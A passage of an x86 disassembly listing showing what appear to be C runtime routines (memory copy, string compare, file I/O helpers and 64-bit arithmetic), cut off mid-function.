		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------

loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------

loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx

loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------

loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------

loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DC91C
		call	sub_422608
		mov	edx, dword_4DC91C
		pop	ecx
		mov	ecx, dword_4DC918
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DC91C
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------

loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DC918
		sub	ecx, dword_4DC91C
		mov	dword_4DC91C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DC918, ecx

loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DC918, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DC91C, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DC91C
		pop	ecx

loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DC91C
		mov	dword_4DC918, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Bp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	near ptr 27A028Ch
		nop
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 28C0000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB2E2
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB2E0
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB2DE
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB2DA
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB2D8
		jnz	short loc_41D0E6
		mov	eax, dword_4DB2D0
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------

loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 28B0000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------

loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------

loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh

loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB2D8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB2D0, eax
		pop	esi

loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB32C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi

loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh

loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------

loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi

loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268

loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi

loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------

loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h

loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------

loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB278, 16h
		or	eax, 0FFFFFFFFh

loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------

loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------

loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h

loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax

loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------

loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3

loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------

loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx

loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA

loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------

loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1

loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]

loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------

loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi

loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 2690CDEh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 2690800h
		push	eax
		call	sub_4203DF
		pop	ecx

loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB278, 0Dh
		mov	dword_4DB27C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------

loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------

loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F

loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi

loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi

loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------

loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2

loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------

loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
